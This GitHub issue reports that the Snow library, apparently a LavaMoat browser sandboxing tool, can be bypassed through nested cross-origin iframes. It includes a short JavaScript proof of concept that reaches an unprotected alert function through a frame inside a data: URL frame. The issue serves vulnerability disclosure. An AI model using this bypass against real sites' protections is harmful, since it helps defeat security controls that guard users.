Skip to content

Snow can be bypassed with nested cross-origin frames #152

@deryilz

Description

@deryilz

Reproduce by running

let x = document.createElement('iframe')
x.src='data:text/html,<iframe src="https://lavamoat.github.io"></iframe>'
document.body.appendChild(x)

setTimeout(()=>{
    x.contentWindow[0].alert.call(window, 'hi')
},500)

honestly not sure how youd fix this

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions